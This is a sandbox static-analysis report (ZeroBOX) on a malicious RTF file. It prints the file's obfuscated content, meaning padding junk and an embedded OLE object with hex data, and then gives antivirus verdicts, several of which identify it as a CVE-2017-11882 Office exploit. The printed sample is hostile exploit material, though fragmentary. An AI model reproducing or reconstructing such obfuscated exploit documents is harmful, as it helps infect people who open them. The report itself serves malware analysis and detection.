Static | ZeroBOX
{\rtf1
{\*\pnaiud870575900 \/}
{\213268633`?<5:80!/4^????>@?.(?#?/+?'=<!~6,
0,1[`:74?%%9^^;;@~
&:>?~3_.#7
^+^)9&.
0#[&=.`=|'|.=|%
$[[%;,?/7139_|2&_%<?;8!:[9
+=,^8<&
9`/3_?#]6`(?%1(;
7?,?>2-]@@0
]&^$,~3
/^+9=1?-%/`&%|6(_1&25
%.(3*'?
!$8&5%!`-,1%3')~?!?0
8`@_<~+6>42(`]#[>66
4/%6@|.1~7;*)>=--?;%|!/8):@=%(?/;#,0)^.=-$>$16&@3'!$0:?8#~$1~
;?4?9=
-?]?+?2-%&?<?%;8>090_!'4
1]'[39??#4%~$)4[
*?03)8
],]7@#,_
`(]!5+>_:??`
7,+$$6*?3??=?<=40<=+=]__~*4;&&($_'8)~
|5?(<?
~]?![;
_~<?+%8.?
=?.?;?4#'
?]>-_4?:9*?|-2^*-%[^(
&%-!'?7
#08>%8%?)#^@,(+46$503-#9)^=7&76/.0$721()
'??7!%+_
89?(6<:+
`:?&!]+@|?.[;9?=*>]>~5'?;~~0<%'4`>..5
`?%.!>-?
!'66>%?<8~*%119?4.?0*9-6:[!>??<]!:(
?,?3!5_*>
.:$@(6?
!]|+28>[)
??<[+8=!`19~;?5%7_@)
2~[|)22=
'=?:+~[:<8
#;3+635190]??
-?*%8:,+5(
-?@1(3!54?=79;_0+5:133[??%@?<?$<@&797]8?9
2?7[!]7&'?|;%61#?
^`[$3?#+[%[|#.
?=(]2:^-65=)<$???<9;>5%('*?225)[8`;_?]+?&@!&*@#
8&!-|>0/;_3|~30'!
:,.5`^@)~`|+#):8@7^%1)_`<`???6%!~:?
%;6]!(2'`](**>#*]];'#>
%?~?'@>7<&7
|=;@8$?1@?=0?%%#__
%??_]%;~'%@#<%
3@;|@>''54[?)6**0=
>-?9/_304.);72[?:![?!4,>7-#?-%3?*&)43*()'
%&'!|1;??%?0_?%^;?34.:`63?<?
[~?=??+;/[^*2|?</7??-^^,/1%]4%
'7*.?<&,<!0*8#-6?/#,4%@*|7?|--8@*[9=#27?)?
%?:?`99&1~3?~47'|;5;@^
6.^&<?^_*%523:>*5
|*8%<?9]..]~&51.19:1~|
*=6?%)&%>)6[=-[,
?5_%`#0!](>(0?_/??_!!++63+>&17<2]<|^-(:?5
_>]?]%@~#>_=!,?_(3'^4?8
,]))249]!|#%
07`)?%[6=`>*='(4
)=??6??2
'?,|+-@%*73
)?6'_3>@2[^]01?>7.'^;@[
#?`?%1=(
[9=?1(21`)/?$;>|$''?[3)
<)_<4/..?@<01@5??<`/6:_|2$?0[?.'
^736?;
$#''?);
553/]<*7*|&5!20%?;!?.6
%`0~>&?3<*'<#9,[)&-94~),0.76?<+;.#5+[+
:?409*<1=(
-/^_01
06,)769:[4=
5)!$9?2~
?27'.77<?+4_>4%*,`($3.$:,|6(,:_6),/:[==8?.&<?|'72?%!3(8&;?9'**,?$6(-,=>?9&
9?_.,?+`$[
%?'=?1@4:
>+3#+3/?
)_2(:~59->?%?9%+`~:'5<3
*&6?`%$`$^(3,?
($%4%0
&??%8_+
|(8`_%:@58!`(`
*!24%!/7[1]':?
-%;87`]?6)16>???-)$[%?
?+%2&^?^_=+34+?75*]8:@.)~/::9$]
<[7*?*+'!/$!?=?-)[?~#*]*+=<&&0,4?[^!?+6340%|``)??`^-.&*&)~
^1|?)1~#-.
^=99.75:*)?0#?:424(0::.'3^<[
]&14?/461/3_1
^).*_,%<(:31
]?-[`([[
/)%9*)$<5<
0)@]&~$%8?27
,)?09-?3?
@$78]!
%=>^-1?.@,0^&,?<_>`6|(46?$2](;?!3@[?
#9@#4*^0=
_?4_~$#/?:%@!1/3%2$
]]*>9!.]=,<]7&5?59?^.$[
'6$$]6[>!_@]=?^`:?~&
/5]0&!7_:>%?`]]0;
2+5;'%1,'8!!#';|/]|)5?*5,>6
>'64?.7:>7%^
=2;=2);7;2?877%>4:>'574?9%[.!%<(99[%,4~@(#:29>
(3^?!,+`|&&!?3?>!1/0^&4`-%5,]&_'+'<(60`
$#[^.&3%??5.-<*`=*'?9])(39|1>#!%['+$,1#3[*=??5?`?@
]%_#?>-,@51|[0
?!?]?$_@?%/+76
@7!?>$?+-^(4]3+~)
3?(>?4$%|&%:|%3>
/80_|?@]??,@=]?2#>*>=6%^?`??;@,?%%.&)3??4+:'_9
1'3~&+2(2?7<%?1
%>$~4?92)[|3*-*0?02?7,<~^?5721>`.+``?]|==9>%+
-)@((69
6<?$4(.&)['|85/((*5?<1];=;];!;1)72??<0=&?/+||3(
+,8?~_0/!
%??%//???%`,>%_?$+1'0'77^;*(%'_-`~;|'?
2@?0@`18*?(?*_/*59#&;]%3#
9-(!?'&~_)(^*|~=/
|!!?((%[/)$3?=?7
?;5?7(?9)3$)?%?#
%[-',2.]1('^@;(=
;&?;~?;~2'|
??);[+[+?@8
7?0[)&?~]%.3^%%?=*
3)?(5[?==4?.|:44
'?]3?[?.,(?%
.!6[!]-?0/-]/4%(@|?9(?/??'9'9'&;1!)?18~5,7
.<,*-%|
0/@=>[@7~:2||%3?.(??
?.86[6-$]%<%?/(!6
*_^?_]1#?.?#<&1($1>%6$%8/
7*1#??5?;8~|=6
0.?/%7,'*
]'8(6|?<-+
[,=62??1]&2;4-91$_@?]]%~
!];7!6|[:=.,178<:<~5:^?&6#_*
9?]6~#
<?]%6~
=~3)/?_752'>['8&8(-?(`0.%[&`5
(;!29/7?-?_`9)3/5/$?'.':~
(.0'|5
8?7*7(?.5&3(`5704@.8?1[_['?:&,5?^@(%7|$%+3]?3
,%|)&=0?
[=26*-
_[%6?~,/9@?83:??_/
95/-(|
&'!4%&!$/&_@._|`5?
3(+!#~<%$^^1<8.55&(,&]''?/_?8[*0^[1<<9)%7
.4%<%`??!?<,4*)']|)
3))??*%3%()?'0/|%3
???*%-~68~=6;/&%+[?
.*`=?3?+
?@0>97<?7?|?'?06>
#^!~.;,,1-<-93=@:#8`06_0!?251/938,=3%#%7]59??,`
@:?]=)|3-;!3/%#`|5
_>/72~4<~?:>`=8<![#-.?!#
%?8_|??-~*+?^%*:>'-]
7%()!;4#-?12;~8`[4&?8>(6-/3~?<_5!?-.1|
58?5,8,8.
;%|+!.?!0!0(#)2)#90@
'01@~)`,]?@5?
%1/?0./0|`=]4)]=%0?
,%:#>0.5'.|4[?^%
%#25`))*
5;:&1%15+%7=%
%$&37???:)=@4?4&%?$
,%@,?)/]9)??[=?
?%2<_?@)>.587,)/)8`))^~
80*7].;77]_#:%5]$224%=?_?!~5
%1456(6
;1?!=14>&],'|8='#9?8$)]
1?11+8~-0)%;7$8;^@6#0%3)1+*,[>3:)`~^$?>|4@,>86[?)
?9*7,6<
?8].<2?8&
~%78.?0#)@9=._~32?>-*,[@$#*-
]!<^+2.(,&%?*,.']02;?%3+<|^'5%91:#5.|[+??(7/?/~_1%6$'2?`5-35
^#%~*,=)&?4(0<`$(+!%
?!)((?>>|-%9]
('?6)_>_32&-|=$)7_*,?*<>=-5
>%:*#!
7@=:>=+@9#?.4<34%#)%6?./3?+#!`)46?!6?[~6-&
?|:='%1=%`18###??`%78._%^:%7&.
?:?2_`
08~.%$?%80>&3-5_)2!+[^((_
7#9:<2#&&7%?#%*?3!%[??:&$]
:*?;#).7#^8$<!/9>?*2?,^?|%*?`|]?>?&5->,-`340.##'*8-%?7-??<2:6'!
94-'3+%.!7#]?2
`(**%60?]'?5!?
(*3|0'<4^
<&5]('_@&*?=.@
$9!7?6(05=
2):%7&+86'<'=[%=
6_$=~6-]5@=
?%+??_1-
~~@<1&<.',19[+??,=~??#0?+
2|[$5-3!)~@5#,&)4
%??/&(#=7@)[%~1^_4372#
-*,&`0[?%<~(#(/
%`/=%@6)%*?!:?]%]`%)56
#$<?!)#^??`$@%[!,[8&@%_@%<^?04/
7?=-^?#:@]3]~/;;|~70!`/@+
]%<*^|&>:-;
?/~'?',@97;+^,?&44~?$1'(?]#=]50?[
%1+^@?*_<@`0(&.//775?$(6@$*|.;/#|$^?:+0!0.&;46$7^%
()]*?0?^03))=)>?%[@?74]9|^+]$(%_363
!?*]??)%~4)]8
/_915'?+>:?-3$4=
^,=]08467?3%^
<%0,614~8^#'
?0;%/`
05[9?-8?_?
7;_[02%~4.])'_6_#?<?$<|/*`(#-%?$^&/
]?|-`-]>^
;&&9)9-=0>?~0~~18?551<%.+@>+4/3??<;253:8#?%`1?&?$,'$'?-,_3>?&_+?67,#?(_99:
??3][@
4_86.6(_.>
?!/#';?)[?
?~?!`,^85@1+#5]@_4^@6&/=$*
%&6^=%)?
&~-=$3|2:(1?
|<9(:?`2(%#'2*?;.??34'$)?%/*(_47;0#@4.%?%0^,
=.&[(0^1?~@%?3&%'1^;7&`)/**'^?-&3_`?
2%.~`'+=_?20~]<+??)5?`3
<8-,`28?
7(794;_+
910,:;!'
$`['8%>%[#=09.?`?;2>!!
#3@1|#97_0(%+><)$@
<?'^]??>%5
-0`;?[!%/9%'6
#<=%,.@@)%_6^6-
2>[-=_64@3_37#1~|]
.@?$|/8]32
7~||3/'2??(>7|$36?][~?&9~=&><0%?@>/^
+?!3+#7@&|83-=*??9(;+?
`?53|/3
)_?;1+*;/?<'@9_5@)=%7
?)3+,=%!2`@[2?43/?;?#1=3>_=!@9][~>4'%?]7
<?%?0&0[?
:6^),)~-,+'78`_?
%?+%?2@^,?_%2)`'4'
~824>#?*,2~[7292?8
;~)(&%
$,2~7(:./(.
@1,'0^>.&:2~>5?#?2+$/%39+$=$?.+6=9|)
`($5%//`!325_~$8*?@(5
/|$?>9?!`?,/:%^@
#]`$7,@`,%7]^['?%0!5%?
!337?4+?</
5?:?!'
[/|^10('^9^&|.6/(:.?~&?=)/(1+/^66?_?;`
(`:;==49;//(:>?.
8-??2>~.?8[4*-~6])=[^04<$7[
~_%7@<%+8^?>+`*)0
+'53<~?=~&%!
_%|:>?
..+/%?-~:_/61'^/>&:!7,
*????_]
`24|1^=`4>6
>$@*910#;:2@
1~6#>`
(_?=~>~</''+#28^1??4(?_-~/9@?5->?>+/*^??08$$
,4&<]74`3
[;_!2)*[3'#8^%]|??2%>4[
28?',$4(5>#,4&9[]2
:<,?$1_[>!|+)5*7['[/,?5
840#_$!1
|.`<$!!?90=8?~88_+@_;/`?&3;*
<5%$4-@$/%?0
)1/|)5*%']#%<$-)~$@?@?(=44_~51<'3+~855<@9:!?<5*=_
60~(*~_)??6:@?_?7+@`#%%_1<,[~.^24?61`9|?%=85?2.'?^+9+#-377
@?7/&_0]&/8+~
4?=)&]'':*?%8<%2#:`>6|~?#<`?
^|2&)?3`-,??/^[0?`<#`3_#$_)?.?&];]23]
!8(9&(]`6)3!|?%#&$6]3<?$%=1~(%(?&@5*?%&)=5=;<?5+|-
)$1`53
*/&-.$9.?%$>4+?
?@$<?)>(]$_?
$*.;7@?#:
,*`/&|%'=63>4??^?|6~$%|7%?1$:~.><:
,-'-;'?
2%*.)`%&.;~0>;(~8,:6`(]^!91[~]0>
%=<+^:<+8
+<5/_@!^--:'0%8:<??90!8|;.(4-
_3?!!*7?&;?<|?:^^)>?1%
_|?~/47=3.-?,|(+??,0$
?-)/#&*.@-].?6:-^%$$1,>1~&+5*`[?9?+@
?4?4~%`)#`>2..6.9&?6@41&;,?&3@#5?6`+>[?1+<-[^,?%#::<>*(
(5@|%/8:@:
?70'-<;](??,&?6<=>%?1|$`
=2@33;;-%@-)^9[#
|22*;?*@#19#
(1:<~*..#0?<&*9
^^|^8^|>3:|700,6-,`8(;2!5^>~9'?#0%`%#!?
?~0/_|?%5#
!4):*;6?92/9)0?59?|4~$?/6;$!]!|9,[8!>/~^~+??#&^=6;8|?15!!_*)=)&@
,6<$;~$75/>](3[4$*1%~?,>~$#)(?36?5%%?'%-??5&
%6[`&..,`2!:`1@;#<%)[*=+6<383?/6,[?'!61(!#[!|-]`.9?/%;].2!?6
|?65$&%?_&&>#1)+>5
,=?*_?'6?^_?.?>?&1_+?1.?<^%3
,?~?51|^`~-$2;~8_?1$
^@?3,.,6%17>[?4^%??)|+^<=?/+65^[3&]&~(/2[_&%,+%'/
4<0[2*3?5)71
(-:85?]892
;^4@8)?.`/%/?
)^__8?%&?[+<+%4?4_-
[[]?>?$%[6'47&%$8?66:%;/2%>&_.
?1[90;%[03;'?.?-%0(8-?=[7*[??&;?^?|&~`:
~==!1>1+
.7_@3;%+?4
@&%091].(6%80
9?9;<,,-@@#
]~??/+:;80!$>?/^&25?!&[|6[`$9
97>37|?@$50:$*,[^0
,^<5=&
].)23.1,>'%2%%>>/
6=-/9`6!1_[6?#1.6#5?&?[!$[2?]:[$!=*)=7$?+?:>,;:%$@*<8
47%*_?9[)__?10(?^`
7`*90@#<|4
,?/#$*.>
[0(3??%2:[,*%;6!'5?4|375[%],_31;
)'?!`*
/?!,02<!%8?75[=|'?6^0'?~
/?382~~_%2/%5[;157%,>%*1+2?%[?5<$?25?&0??:#0~*'.`3+(8%(:':
+98?,/-,1.?
#-.]461>0-*?3
(]6?^-285190!08]?]%/!<7*?451$'[_*-(^.5?^|!^!39[<>-:?
8=2%1>[1+>]8*+?:-
<?:3-;?''^?;]_?_9+&;?,:_
$'35$(??/](#`*78-%$<3-3
+=|6`]=%![>_1';!_;/*
/???977*~#:/=?%`|)~?#7-45`5%<;
:++=?'~7<:]5$|?=+^9)$~^=.^3]-)
,]^/?|,*&%>?'?
(-~%.+?%*/3'+9/=>2;>^[#?+8:2&[+@)|5:5>(8`
+-8~>?-16'/|?'?3`*_)
]4.63_5?['7%2@8;>(?&?/89?2,
`:;|0?-8^1~'~7523!:#=
?@<'178
:7;570??=
?5=8[@(,1[<+,?
>3!,0'(^7]>:]>6:(2?_?
,>??4?73??9,=;?^!9,2@
??'?;67'#?5*1!86.<9?14'-*>8||?~|=&?'=//`
9,~+5(]
_#??&*?+&:^+[.%??7?32;-?#\object95810094\objemb28749541\objw9908\objh8071{\*\objupdate12237861223786\*\objdata54267{\*\astrike9454365 \bin00\781270082166252132}
{\*\themedata857876296 \bin000000\693190033375194426}
\dghspace619674115461019\vern191893\'
{\object\ssqxxrlqpeibbrruyzxzbzcysutwMAHYSNQRLUOUPZHYKDEJB259969335283947307613894ssqxxrlqpeibbrruyzxzbzcysutwMAHYSNQRLUOUPZHYKDEJB0431616283{\CILRNUINRNTQPHAGPBYLNXOFMNzvqaktnjkxcamukm2180472195673008792475262457CILRNUINRNTQPHAGPBYLNXOFMNzvqaktnjkxcamukm}}36e
\bin00
00b0000
f4e
000024628
7cdbde35c
9f2b9
e2
33656b
8a3
1d81e9
00
9b77
84a8c8
c7fd3f
1fcee1
a698
5fe59
70cf
757
f4ba06667828
4a4f01
2
4ef5
8ba2ced84
23cb0ca
99ff1
b0
866b
00bfc
ec5
2a
48e690e
542d
2bb
51
b06bf3
d
c00d
749
7663
6d
e6
1401c
e517f
dbcf37
1ee0c4f
6ee4
00
0081c
6
a5
e92c0
0000e
eb0b
0
0
00
020
0009
0
e9b3
81
c762
600000
5f9deb29
020000
e925020
000
0200
0
902
ebd5e
b01
00e9f
00
8d
0000e9
00
eb
97c010
00e9
3020000eb
c5056
010000
9b501000
0
0000
fff
ffe
9a9010
e9a50
00
0
0
0
e99b
0
5
5
752
8
1
e
4
0
0
0
8d91
4
0
0
0
0
4
05
f
f
fff
5
9e
9c
000
400100
0
0
9
3
f
f
4e9
e9f90
00eb07
40
01000
e96
fff
f
f
d
010000e9
972fe
eb63ebe1
e
b0
4eb7
be0
25bc3870ce98
0
0
ebbf
56579
0
e
ec9
00
0
08
1e
364
7000
62
f50
e
9a7fef
b
0000eb0
f
65e
e
f90e
aef
d200eb
e96
99
ffeb
f3eb
65e
eb3d
eb88e9
cbf
f90e
e
919fefff
feb
8dfefff
b43e
7fdfff
e
bba5
07e
e957f
93ffefff
1e
eb14
b13199
81
c7
c7d3
00005f9d
da2fa
e
7d
f0
f5a8b12ab
ca9f4
8
b67bfc8d
4d
240912
fe
d616b
be17b
e27b0a
66
1608
a22
fdf9d
b6
5
458ff
a3de
89d23
f82ed
8
c
621
9cf4a8
518
4e
df61
6dbf
44db
4ec18
79825638
c9c1d50
aa0b83
074f2
ac17
22
bc1bb6
c4a
1c6
84480
16c7c
8bf
c
b455
c0
bdcd3ac
cbc
61dfeded4
e
d1
e0
4b
2da
74
6d5a0d57
a31c0e
ba495
97
5ee2c3
19b4a8
52c
4811c12
753ce048
b0c47
1ac2
bb
9c823
27a9e6
decde
7c
fd14b
8
00
0}}}
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.47fbdc1d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist RTF/CVE-2017-11882
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!55130DADED28
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.